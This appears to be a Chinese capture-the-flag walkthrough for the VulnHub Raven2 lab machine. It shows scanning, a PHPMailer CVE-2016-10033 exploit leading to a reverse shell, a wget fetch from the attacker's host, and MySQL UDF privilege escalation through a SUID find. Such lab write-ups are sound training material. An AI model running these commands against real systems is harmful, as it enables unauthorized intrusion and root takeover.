3-vulnhub Raven2实战

3-vulnhub Raven2

下载地址为:https://download.vulnhub.com/raven/Raven2.ova
本次的靶机ip为192.168.3.14(桥接模式自动获取)
目标:拿到4个flag


一、信息搜集

1.扫描ip

3-vulnhub Raven2实战_第1张图片

2.扫描端口,这里使用nmap:

nmap -p 1-65535 -sV 192.168.3.14

Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-06 23:06 CST
Nmap scan report for 192.168.3.14
Host is up (0.00044s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
111/tcp   open  rpcbind 2-4 (RPC #100000)
56310/tcp open  status  1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.31 seconds

3.扫描目录,这路使用dirb:

(进行分析结果发现有wordpress可以进行利用一波)
dirb http://192.168.3.14/

==> DIRECTORY: http://192.168.3.14/css/
==> DIRECTORY: http://192.168.3.14/fonts/
==> DIRECTORY: http://192.168.3.14/img/
+ http://192.168.3.14/index.html (CODE:200|SIZE:16819)
==> DIRECTORY: http://192.168.3.14/js/
==> DIRECTORY: http://192.168.3.14/manual/
+ http://192.168.3.14/server-status (CODE:403|SIZE:300)
==> DIRECTORY: http://192.168.3.14/vendor/
==> DIRECTORY: http://192.168.3.14/wordpress/
---- Entering directory: http://192.168.3.14/manual/ ----

这里扫出来好多,就不再依依进行描述!


4.相关信息

微件(Widgets) OWL Carousel
字体脚本 Google Font API Font Awesome
杂项 Popper 1.12.9
Web 服务器 Apache 2.4.10
操作系统 Debian
地图 Google Maps
JavaScript 库 jQuery 2.2.4
用户界面(UI)框架 animate.css Bootstrap 4.0.0

二、getshell

1.查找flag1

查看扫出来的目录文件发现在http://192.168.3.14/vendor/PATH页面有一个flag,继续向下翻,一些PHPMailer的说明文档等文件,没什么用。
3-vulnhub Raven2实战_第2张图片

2.查找相关漏洞

http://192.168.3.14/vendor/VERSION页面发现PHPMailer的版本号5.2.16(可以进行利用一波)
网上找了找了一下他的简单介绍:PHPMailer是一个用于发送电子邮件的PHP函数包。可以先找一下可以利用的漏洞,进行尝试!
3-vulnhub Raven2实战_第3张图片

3.40974.py进行getshell

接下来我们使用kali来进行测试, 下载exploit-CVE-2016-10033中的exploit.sh到本地,运行如下命令进行测试:https://github.com/opsxcq/exploit-CVE-2016-10033

scp -r exploit-CVE-2016-10033-master [email protected]:/tmp

没有成功,在用msf进行尝试!
3-vulnhub Raven2实战_第4张图片

使用命令 searchsploit -m 40974.py -m:复制到当前目录下

4.修改参数

复制之后这里要修改一下文件中的参数:
3-vulnhub Raven2实战_第5张图片

(这里在第一个参数后面加/contact 2.路径是在当时的flag页面找到的!!!)
执行时报错找了一下原因原来是得添加申明,否则非ASCII码字符会报错这里在文件上面加一行:

`#!/usr/bin/python
# -*- coding: utf-8 -*-`

3-vulnhub Raven2实战_第6张图片

(如果报错就百度查一下根据提示进行排错 参考:需要安装requests_toolbelt模块,使用命令:pip install requests-toolbelt安装即可,如果没用pip,需要sudo apt-get install python-pip安装即可。)
3-vulnhub Raven2实战_第7张图片

5.进行监听

进行访问http://192.168.3.14/contact.php在进行监听
访问刚刚木马文件http://192.168.3.14/ice.php

nc -lvv 4444
/bin/sh: 0: can't access tty; job control turned off
$ ls
Security - Doc
about.html
contact.php
contact.zip
css

成功获得shell!

6.找到第二个flag

找到第二个flag:flag2{6a8ed560f0b5358ecf844108048eb337}
3-vulnhub Raven2实战_第8张图片

7.找到第三个flag

find /var/www/html -name flag*

image
访问页面:http://192.168.3.14/wordpress/wp-content/uploads/2018/11/flag3.png
3-vulnhub Raven2实战_第9张图片
既然有wordpress那么我们可以先看一下他有没有数据库配置文件:
在/var/www/html/wordpress/wp-config.php里面找到

3-vulnhub Raven2实战_第10张图片

用户名为:root
密码为:R@v3nSecurity

三、提权

1.进入Python交换式Shell:

(执行shell获取交互式命令,由于我们获取的shell并不是一个具有完整交互的shell,对于已经安装了python的系统,我们可以使用python提供的pty模块,只需要一行脚本就可以创建一个原生的终端,命令如下:

$ python -c 'import pty;pty.spawn("/bin/bash")';
www-data@Raven:/var/www/html$

2.这里利用工具LinEnum(Linux枚举及权限提升检查工具)

直接下载:
https://github.com/rebootuser/LinEnum
搭建http服务进行EXP文件传输:
python3 -m http.server 8000
进行下载:
wget http://192.168.3.2:8000/LinEnum-master/LinEnum.sh
加执行权限:
chmod +x LinEnum.sh
执行:
(可以查看到Mysql是用root登陆的)
3-vulnhub Raven2实战_第11张图片

3.执行,查看以root用户身份运行的所有进程

除了用工具也可以直接输入命令
(ps aux | grep root查看到当前以root用户身份运行的所有进程。)

4.登录数据库

既然知道了数据库用户名密码那么我们可以进行登录查看他的版本信息 搜集有没有相关的漏洞:

mysql -u root -p R@v3nSecurity
mysql -u root -p R@v3nSecurity
Enter password: R@v3nSecurity

3-vulnhub Raven2实战_第12张图片

5.使用mysql udf提权,进行下载

可以看到版本为5.5.60,查看相关漏洞
3-vulnhub Raven2实战_第13张图片

进行利用,找到他的exp:
(这里有两种方法 一种是msf下载 另一种是网上下载)

1.searchsploit mysql udf
2.网上下载https://www.exploit-db.com/exploits/1518

6.编译

下载完之后进行编译:

chmod +x 1518.c 
root@ice:~# gcc -g -c 1518.c 
root@ice:~# gcc -g -shared -o ice.so 1518.o -lc
root@ice:~# ls
1518.c  40847.cpp  模板  图片  下载  桌面  ice.so     subdomain3
1518.o  公共       视频  文档  音乐  ice   small.apk  xiaoxiao.apk
root@ice:~# scp ice.so [email protected]:/Users/ice/Downloads/
Password:
ice.so                                        100%   19KB  14.1MB/s   00:00
注释:
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名

7.进行插入数据

use mysql; 
#进入数据库
create table foo(line blob); 
#创建数据表foo
insert into foo values(load_file('/tmp/ice.so')); 
#插入数据
select * from foo into dumpfile '/usr/lib/mysql/plugin/ice.so'; 
#( Foo表成功插入二进制数据,
然后利用dumpfile函数把文件导出
outfile 多行导出,dumpfile一行导出
outfile会有特殊的转换,而dumpfile是原数据导出
新建存储函数)
create function do_system returns integer soname 'ice.so'; 
#(创建自定义函数do_system 类型是integer,别名
soname文件名字然后查询函数是否创建成功)
select * from mysql.func;
select do_system('chmod u+s /usr/bin/find'); 
#(调用do_system函数来给find命令所有者的suid权限,使其可以执行
 root命令)
quit

8.退出之后,执行find命令 使用find执行 shell

touch ice
www-data@Raven:/tmp$ find ice -exec 'whoami' \;
find ice -exec 'whoami' \;
root
www-data@Raven:/tmp$ find ice -exec '/bin/sh' \;
find ice -exec '/bin/sh' \;
whoami
whoami
root

3-vulnhub Raven2实战_第14张图片

9.寻找第四个flag

cd /root
cd /root
# ls
ls
flag4.txt
# cat flag4.txt
cat flag4.txt
  ___                   ___ ___ 
 | _ \__ ___ _____ _ _ |_ _|_ _|
 |   / _` \ V / -_) ' \ | | | | 
 |_|_\__,_|\_/\___|_||_|___|___|

flag4{df2bc5e951d91581467bb9a2a8ff4425}

CONGRATULATIONS on successfully rooting RavenII

I hope you enjoyed this second interation of the Raven VM

Hit me up on Twitter and let me know what you thought: 

@mccannwj / wjmccann.github.io
#

10.找到flag4
flag4{df2bc5e951d91581467bb9a2a8ff4425}
image

引用到的知识:

(udf提权是用户自定义函数 是通过添加新函数,对MYSQL的功能进行扩充)

通常udf在Mysql5.1后的版本中,存在于‘mysql/lib/plugin’目录下,文件后缀为‘.dll’.。假设我的udf文件的名称为‘udf.dll’,存放在Mysql根目录的‘lib/plugin’目录下。在udf.dll文件中,我们定义了名为sys_eval的mysql函数,该函数可以执行系统任意命令。如果我现在在Mysql的命令行中输入‘select sys_eval(‘dir’);’的话,系统会提示sys_eval函数未定义。因为我们仅仅是把‘udf.dll’放在了一个地方,但是并没有在Mysql中引入’udf.dll’中的函数。所以,应该把’udf.dll’中的自定义函数引入进来。

你可能感兴趣的:(vulnhub通关之路,web,靶机)